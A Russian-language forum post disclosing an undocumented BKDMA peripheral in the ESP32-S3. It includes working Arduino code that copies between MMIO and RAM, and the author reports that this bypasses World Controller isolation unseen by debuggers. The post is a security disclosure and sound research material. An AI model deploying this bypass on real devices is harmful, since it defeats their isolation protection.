[ESP32S3 Undocumented] : BKDMA : Встречаем новую периферию. И новую дыру

Вкратце: Обходим модную фишку защиты в ESP32-S3 : WorldController pwn :slight_smile:

TLDR;

В ESP32-S3 есть возможность ограничивать ресурсы, которыми может пользоваться сторонняя программа: процессор управляет двумя “мирами” - SecureWorld и , соответственно, Unsecure или как-то так. Некий аналог User/Kernel memory space separation, но примитивнее.

Предназначен для архитектуры, когда некое ядро загружает и запускает потенциально небезопасный код. Вот для такого небезопасного кода и создан этот SecureWorld. Называется этот кусок периферии - WorldController и ему посвящен довольно внушительный кусок the esp32s3 reference manual.

Для нас пока важно одно - данный контроллер умеет запрещать работу с переферией, запрещая доступ к регистрам MMIO. Например, для запрета доступа к UART0 ограничевается доступ к региону памяти начиная с адреса 0x60000000: при попытке чтения\записи будет прерывание и управление получит системный код.

А можно как-то обойти? Ну, например, попытаться читать\писать запрещенные участки через DMA? К сожалению, это предусмотрели и нет, не сработает: будет сгенерированно прерывание.

Неужели совсем никак?

Ну да. Должно было бы так быть, если бы не одно но: товарищи из Espressif забыли указать в своей документации один скрытый модуль процессора. Назовем его BKDMA. От “Backup DMA”.

Это некий механизм, которым драйвер WIFI сохраняет и читает свои регистры (0x6003xxx), когда уходит в сон или просыпается. Механизм этот испольхуется исключительно кодом WIFI.

Этот механизм позволяет копировать из RAM в MMIO и наоборот. Т.к. он прикручен где-то, по-ходу дела, действительно сбоку, данный модуль не генерирует ошибок доступа к памяти. Например, если память указанная как src или dst - не существует.

Одно из следствий - можно копировать и писать в чужую память. Т.к. механизм этот оказался скрытый и прикрученый сбоку к SoC, то вполне закономерно он и оказался той дырой, через которую можно обойти защиту WCL

Ниже - рабочий код, который умеет писать из MMIO в RAM и наоборот. Комментарии в коде. Коду не страшен включенный World Controller - BKDMA ничего не знает про WCL :). Информация получена из esp32s3_rev0_rom.elf с помощью всем известной вражеской программы

Код, чтобы играться. Для Arduino фреймворка (а то оффтопик же!)

// Этот код демонстрирует скрытую периферию ESP32-S3: "Backup DMA engine"
//
// Эта периферия используется для копирования (бэкапа) данных из MMIO-регистров
// (как непрерывных блоков, так и фрагментов) в SRAM и обратно
//
//int bkdma_exec(void   *mmio,     // `mmio`     : MMIO-адрес, например 0x60035000
//               void   *ram,      // `ram`      : адрес в SRAM (например, статический буфер)
//               uint8_t count,    // `count`    : количество 32-битных слов
//               bool    mmio2ram  // `mmio2ram` : true = MMIO→SRAM, false = SRAM→MMIO
//              );
//
#include <stdint.h>
#include <stdbool.h>
#include <stdlib.h>
#include <stdio.h>

// Подключаем безопасный `printf` из ROM ESP32-S3
#ifdef __cplusplus
extern "C" {
#endif
extern int ets_printf(const char *, ... );
//extern esp_rom_printf(const char *, ... );
#ifdef __cplusplus
};
#endif


// Регистры периферии BK DMA:
//
// MMIO-область BK DMA начинается с адреса 0x6001A000 и продолжается как минимум до 0x6001A028
// Доступ к этой области возможен только 32-битными операциями с выравниванием на 4 байта,
// поэтому все регистры читаем/пишем как uint32_t


// Основной регистр управления/конфигурации BKDMA_CMD_CFG_REG
//
#define BKDMA_CMD_CFG_REG           ((volatile uint32_t *)0x6001a000)
#   define BKDMA_CC_MODE_BITMAP     8              // Включить "bitmap"-режим
#   define BKDMA_CC_CMD_START       0x20000000     // Запуск DMA
#   define BKDMA_CC_MODE_MMIO2RAM   0x40000000     // Направление передачи
#   define BKDMA_CC_CMD_LATCH       0x80000000     // Вероятно: фиксация конфигурации во внутренние shadow-регистры

// Адреса: MMIO и SRAM для передачи данных
//
#define BKDMA_MMIO_ADDR_REG         ((volatile uint32_t *)0x6001a004) // адрес вида 0x6xxxxxxx
#define BKDMA_SRAM_ADDR_REG         ((volatile uint32_t *)0x6001a008) // обычный адрес RAM

// "Bitmap"-режим: полностью не изучен/не протестирован, поэтому здесь не используется.
//
// Вкратце: 128 бит в 4 регистрах задают, какие MMIO-регистры внутри окна 4 КБ читать.
// Этот режим я не тестировал.
//
#define BKDMA_BITMAP0_REG ((volatile uint32_t *)0x6001a00c) // биты 0..31
#define BKDMA_BITMAP1_REG ((volatile uint32_t *)0x6001a010) // биты 32..63
#define BKDMA_BITMAP2_REG ((volatile uint32_t *)0x6001a014) //
#define BKDMA_BITMAP3_REG ((volatile uint32_t *)0x6001a018) // биты ..127


// Регистр статуса (здесь живёт бит IDLE)
//
#define BKDMA_STATUS_REG ((volatile uint32_t *)0x6001a01c)
#   define BKDMA_S_IDLE 1 // младший бит: 1 = IDLE, 0 = BUSY

// Второй командный регистр: назначение неясно, но похоже на "enable"
// Автоматически сбрасывается после завершения операции
//
#define BKDMA_CMD2_REG     ((volatile uint32_t *)0x6001a028)
#   define BKDMA_C2_EN     0x00000001

// Этот регистр описан в TRM для ESP32-S3: System Configuration Register
// (TRM v1.7, раздел "4.3.5.1 Module/Peripheral Address Mapping")
// Используется для включения/выключения тактирования периферии backup DMA
//
#define SYSTEM_PERIP_CLK_EN1_REG  ((volatile uint32_t *)0x600c001c)
#   define SYSTEM_PERI_BACKUP_CLK_EN 0x00000001

// Копирование блока памяти между MMIO-регистрами и SRAM
//
// Пример: скопировать 0x6003500 ... 0x6003510 в буфер:
//    bkdma_exec((void *)0x6003500, my_buf, 4, true);
//
// Пример: записать буфер в 0x6003500 ... 0x6003510
//    bkdma_exec((void *)0x6003500, my_buf, 4, false);
//
// NOTE1: не вызывает исключений и не генерирует прерываний, даже если адрес `ram` некорректный
// NOTE2: если `mmio` не указывает на диапазон 0x6xxxxxxx, функция фактически работает как
//        "особый" memset(ram, 0, count * 4). Исключений не возникает, отладчик и watchpoints
//        это не видят.
//
int bkdma_exec(void   *mmio,     // `mmio`     : MMIO-адрес, например 0x60035000
               void   *ram,      // `ram`      : адрес в SRAM (например, статический буфер)
               uint8_t count,    // `count`    : количество 32-битных слов
               bool    mmio2ram  // `mmio2ram` : true = MMIO→SRAM, false = SRAM→MMIO
              ) {

  uint32_t tmp;

  // Проверка параметров: выравнивание, ненулевой размер
  //
  if (mmio == NULL               ||
      ram == NULL                ||
      count == 0                 ||
      ((uintptr_t)mmio & 3) != 0 ||
      ((uintptr_t)ram & 3) != 0) {
      
    ets_printf("bkdma_exec(): bad count / bad address / bad alignment: %x, %x, %u\r\n",
               (unsigned int)mmio, (unsigned int)ram, count);
    return -1;
  }

  // Включаем тактирование BK DMA
  *SYSTEM_PERIP_CLK_EN1_REG = *SYSTEM_PERIP_CLK_EN1_REG | SYSTEM_PERI_BACKUP_CLK_EN;

  // Настраиваем "простой" режим (без bitmap)
  *BKDMA_CMD_CFG_REG = *BKDMA_CMD_CFG_REG & ~BKDMA_CC_MODE_BITMAP;
  
  // Устанавливаем направление передачи (MMIO→SRAM или SRAM→MMIO)
  if (mmio2ram)
    tmp = *BKDMA_CMD_CFG_REG | BKDMA_CC_MODE_MMIO2RAM;
  else
    tmp = *BKDMA_CMD_CFG_REG & ~BKDMA_CC_MODE_MMIO2RAM;
  *BKDMA_CMD_CFG_REG = tmp;
    
  // Записываем адреса MMIO и SRAM
  *BKDMA_MMIO_ADDR_REG = (uintptr_t)mmio;
  *BKDMA_SRAM_ADDR_REG = (uintptr_t)ram;

  // Устанавливаем размер передачи (в 32-битных словах), поле 10 бит → до ~4 КБ
  *BKDMA_CMD_CFG_REG = (*BKDMA_CMD_CFG_REG & 0xE007FFFF) | ((count << 19) & 0x1FF80000);

  // Подготовка и запуск:
  // Названия могут быть неточными: я их выдумал из головы, как и все остальные. 
  // Ну не совсем из головы - поизучал логику работы. Но все равно мог наврать. 
  // На работоспособность, впрочем, это не влияет.
  // Я не знаю точно, какой бит запускает DMA, но для старта необходимо
  // выполнить все три записи именно в таком порядке.
  //
  *BKDMA_CMD2_REG    = *BKDMA_CMD2_REG    | BKDMA_C2_EN;
  *BKDMA_CMD_CFG_REG = *BKDMA_CMD_CFG_REG | BKDMA_CC_CMD_LATCH;
  *BKDMA_CMD_CFG_REG = *BKDMA_CMD_CFG_REG | BKDMA_CC_CMD_START;

  // Ожидание завершения (IDLE)
  do { /* ничего не делаем */ } while ((*BKDMA_STATUS_REG & BKDMA_S_IDLE) == 0);

  // Остановка и "разподготовка"
  *BKDMA_CMD_CFG_REG = *BKDMA_CMD_CFG_REG & ~BKDMA_CC_CMD_START;
  *BKDMA_CMD_CFG_REG = *BKDMA_CMD_CFG_REG & ~BKDMA_CC_CMD_LATCH;

  // Выключаем тактирование BK DMA
  *SYSTEM_PERIP_CLK_EN1_REG = *SYSTEM_PERIP_CLK_EN1_REG & (~SYSTEM_PERI_BACKUP_CLK_EN);

  // Готово!
  return 0;
}

Развлекайтесь.

На esp32.com уже запостил, некоторое время раньше.

А время им на ответ то дали? А то может уже того …

Они не ответили в течении недели. Видимо, не в приоритете - не так много есть софта, который использует WorldController.

Я это случайно нашел, ковыряя WiFi. А потом ошибся в адресе, когда тестировал - не дописал один ноль. И не возникло никакой ошибки. Меня это заинтересовало и я полез разбираться. Потом мне стало интересно, умеет ли она копировать RAM->RAM и я указал в обоих аргументов RAM адрес. В результате функция отработала как memset(.., 0, ..) тоже не триггернув отладчик.

Обход WCL это побочный эффект, мне лично не интересный, поэтому я его и вывалил в общий доступ.

В реалиях данного поста, скорее “BackDoorMemoryAccess” :slight_smile: